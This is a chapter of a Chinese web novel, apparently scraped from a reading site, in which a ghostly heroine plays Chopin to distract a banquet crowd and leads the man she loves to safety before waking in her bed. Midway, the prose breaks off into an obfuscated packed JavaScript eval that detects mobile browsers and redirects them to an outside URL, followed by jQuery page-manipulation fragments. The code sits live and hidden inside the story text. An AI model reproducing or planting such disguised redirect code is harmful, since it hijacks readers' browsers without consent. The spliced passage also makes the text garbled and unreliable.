伴随着高辰逸渐行渐远的跫音,一阵悠扬的琴音,似从遥远梦境中飘来,悄然填满了整个宴会厅,顿时攫住了所有人的注意力。
那是一曲肖邦的《降E大调夜曲》Op.9, No.2。
琴声清澈、温柔,又带着一丝拨动心弦的淡淡忧伤,仿佛皎洁月光洒落静谧湖面,撩拨心湖泛起层层涟漪。
宴会厅里原本嘈杂的交谈声如同被按下了暂停键,所有的目光都循着那如梦似幻的琴声,不约而同地望向了中央的舞台。
“咦?钢琴怎么自己响了?”
“是预设的节目吗?这音响效果也太逼真了,简直跟真人弹奏一模一样!”
宾客们好奇地张望着,只见舞台上,那架华丽的三角钢琴在聚光灯的照耀下散发着幽寒光芒,黑白琴键自行起落,延音踏板随着乐句深浅微妙起伏,淋漓尽致地演绎着动人的旋律。
这诡异而又美妙的一幕,让在场所有人都惊奇不已,交头接耳,议论纷纷。
而站在角落的秋瑾凝,在听到第一个音符奏响的瞬间,身躯便不由自主地剧烈颤抖起来。
这首曲子……
呼吸凝滞,世界静止。
他太熟悉这首曲子了。
然而,比这首曲子本身更让他心脏狂跳的,是演奏者独特的风格。
乐句结尾处微妙的渐慢装饰音,左手琶音独特的、略带迟滞的弹性节奏……这些细腻入微的处理,是独属于一个人的音乐印记。
一个本应已经消失在这个世界上的印记。
姜随……
这个名字如同惊雷般在他脑海中炸开,浑身的血液仿佛都在刹那间逆流。秋瑾凝难以置信地瞪大了眼睛,死死地盯着那架在聚光灯下自行演奏的钢琴。
不可能,她已经……
记忆闪回到很多年前,某个蝉鸣聒噪的夏日午后,他趁着对外开放的校庆活动混进姜随学校,兜兜转转问了一路,找到她时,她正端坐在学校礼堂那略显老旧的钢琴前,纤长的手指在黑白琴键上跃动,弹奏的正是这首《夜曲》。
阳光像融化的黄金,从高处的彩绘玻璃窗倾泻而下。女孩坐在光晕中央,整个人仿佛被阳光浸透,发梢都跳跃着细碎的金芒。
她的神情专注而宁静,几乎要与身前的钢琴融为一体。
那一幕,美得像一幅油画,永远定格在他记忆最珍贵的相册里。那时的他,只是一个躲在门后、怯懦得连头都不敢抬起的男孩,而她,却是他遥不可及、闪闪发光的梦。
如今,同样的旋律再次奏响,却是在她化作一抔黄土之后。
琴音袅袅而起,宛如春日里最甜润的花蜜,丝丝缕缕,缠绵悱恻。每个音符都在细腻地描摹着对爱情最纯粹的悸动与向往,就像他多年来不敢宣之于口的暗恋,只能在无人知晓的角落里,反复回味那一点点微末的甜。
紧接着,乐曲的节奏陡然一变,进入了更为激情开阔的段落。
激昂的旋律热情澎湃,充满了无尽的力量,仿佛是在宣告,即便身处困境,也要超越现实,拥抱希望。
这琴声极具张力,带着一种抚慰人心的力量,如同道撕裂黑暗的光束,倏然照亮了秋瑾凝内心深处最阴冷的角落。
他所遭遇的逼迫、算计和无力,在这一刻仿佛都被这充满生命力的音乐所净化。
希望,如同一树璀璨的烟火,在他死寂的心中绽放,绚烂夺目。
可烟花易冷,绚丽过后,便是更深、更沉的长久空寂。给予他这束光芒的人,早已消逝无踪,只剩下回荡在耳畔的余音。
随着那份悲怆之美而来的,是更尖锐的绝望,如冰冷的浪潮扑面,将秋瑾凝彻底淹没。
那巨大的落差,痛得他几乎无法呼吸,只剩下胸腔里阵阵空洞的回响。
姜随并不知道男人心中掀起的万丈波澜,她只是专注地弹奏着,希望能用音乐吸引所有人的注意,为他创造逃离的机会。
然而,秋瑾凝非但没有动,反而像被钉在了原地,那失魂落魄的样子让姜随心急如焚。
不行,不能再弹下去了!再这样下去,高辰逸就要回来了!
姜随心中一横,不再顾及乐曲的完整性,指尖猛地发力,在琴键上重重地砸下两个不和谐的刺耳和弦。
“哐!哐!”
突兀的噪音打破了优美的旋律,像一块石头砸碎了平静的湖面。
所有人都被这突如其来的变故吓了一跳,议论声再次四起。
“怎么回事?坏了吗?”
“真是吓人一跳!”
姜随不再停留,迅速从钢琴边飘开,回到秋瑾凝身边。
“别怕,瑾凝。”
她在他耳边用尽最后的力气,轻声低语,声音微弱得如同叹息。
即使知道他可能根本听不见,她还是固执地一遍遍重复着:“离开这里,快离开这里。这不是梦,是我,姜随。”
也许是她最后那句话起了作用,也许是劫后余生的本能驱使,秋瑾凝终于从巨大的震惊中回过神来。
他深吸一口气,眼神逐渐恢复了一丝清明。
他不再犹豫,也不再看周围那些探究的目光,迅速转身,踉跄着、快步朝宴会厅的侧门方向走去。
姜随立刻强打精神跟了上去。
她知道高辰逸不会善罢甘休,必须确保秋瑾凝彻底安全离开。
她漂浮在秋瑾凝前方,凭借着对小说剧情的记忆和幽灵形态不受阻碍的优势,快速探查着路线。
她避开了可能有高辰逸眼线的主出口和回廊,引导着秋瑾凝穿过一条相对僻静、灯光稍暗的服务通道。
秋瑾凝也下意识地跟随起前方那股无形的、带来微弱安心感的“指引”,脚步越来越快。
最终,姜随引导他从一个很少有人使用的侧门离开了喧闹的宴会厅,来到了酒店后方一条相对安静的街道。
这里路灯昏黄,车辆稀少。
“快,叫车。”姜随在他耳边催促。
秋瑾凝似乎听到了指令,立刻拿出手机,迅速叫了一辆网约车。
等待的几分钟里,他一直警惕地观察着四周,身体紧绷如弓。
很快,一辆车驶来停在路边。
秋瑾凝确认信息后,拉开车门迅速坐了进去。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967830|174354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
就在车子发动,即将汇入车流之际,男人似有所感般蓦然回首,扭身向后望去。
隔着后挡风玻璃,穿过迷离的夜色,他竟真的看到了!
他看到一个身影淡得几乎透明的女孩,就站在他刚才离开的地方。
后方驶来车辆的车灯轻而易举地穿透了她的躯体,却也为她镀上了一层洁白而圣洁的光晕,像是天使降临人间。
尽管她的轮廓模糊不清,但秋瑾凝还是一眼就认出了她。
“姜随——!”
秋瑾凝瞳孔骤缩,猛地转过身,膝盖重重地磕在前面的座椅上,他却感觉不到一丝疼痛。
他奋力向前探身,伸出手,下意识地想要抓住那幻影。
然而,女孩的轮廓却在他不敢置信的目光中,一点点化作流萤般的微光。
她对他笑着,缓缓挥了挥手,像是在告别。
一滴滚烫的清泪不自觉地从秋瑾凝的眼眶中滑落,视野瞬间变得婆娑。
他拼命地睁大眼睛,想要将她的样子更清晰地刻进灵魂深处。
然后,晚风一吹,她散了。
车尾灯的红光渐行渐远,最终被车流吞没。
姜随终于松掉了最后一口气,她垂下手臂,低头看向自己。
从指尖开始,她的身体正化作无数细碎的光尘,被夜风温柔地带走。
意识逐渐模糊,世界开始旋转、扭曲、崩塌……
“再见,瑾凝。这次,一定要好好的……”
在彻底失去意识前,姜随用尽最后的力气,在晚风中轻轻呢喃。
“呼——!”
姜随猛地从床上弹坐起来,胸口剧烈起伏,大口大口地喘着粗气。
额头上布满了细密的冷汗,心脏在胸腔里疯狂地擂动,几乎要撞破肋骨,耳边甚至能听到自己血液奔流的嗡鸣声。
窗外,夜色深沉,房间里一片寂静,只有手机屏幕还散发着微弱的冷光。
她低头看了看自己的双手,是真实的、有温度的、带着微凉汗意的实体。
那种耗尽心神、几乎要魂飞魄散的极致疲惫感,如同退潮般缓缓褪去,取而代之的是一种劫后余生的虚脱和深深的后怕。
刚才发生的一切,仿佛一部高清电影,一帧帧、一幕幕,无比清晰,无比真实地在她脑海里回放:
酒会的喧嚣与虚伪,高辰逸眼底闪烁的阴鸷与算计,秋瑾凝身上涌现的无助与恐慌,以及那在千钧一发之际,她以一种半脱离半存在的姿态,紧张而急切地介入,引导他逃离的每一个惊险瞬间。
第三次了。
这已经是她第三次以这种诡异离奇的方式,“穿越”到那个充满错误走向的未来时间线,强行干预了秋瑾凝即将遭受的灭顶之灾。
第一次,她阻止了阴险的赵珩肆意妄为;第二次,她从暴戾的段勋手中救下了他;而这一次,则是打断了高辰逸恶毒的下药企图……
书里那些如同附骨之疽一样缠上他、毁掉他的“渣攻”,似乎正在被她一个个地、在罪恶发生的源头掐断。
仿佛她才是命运的主宰,改写着秋瑾凝的未来。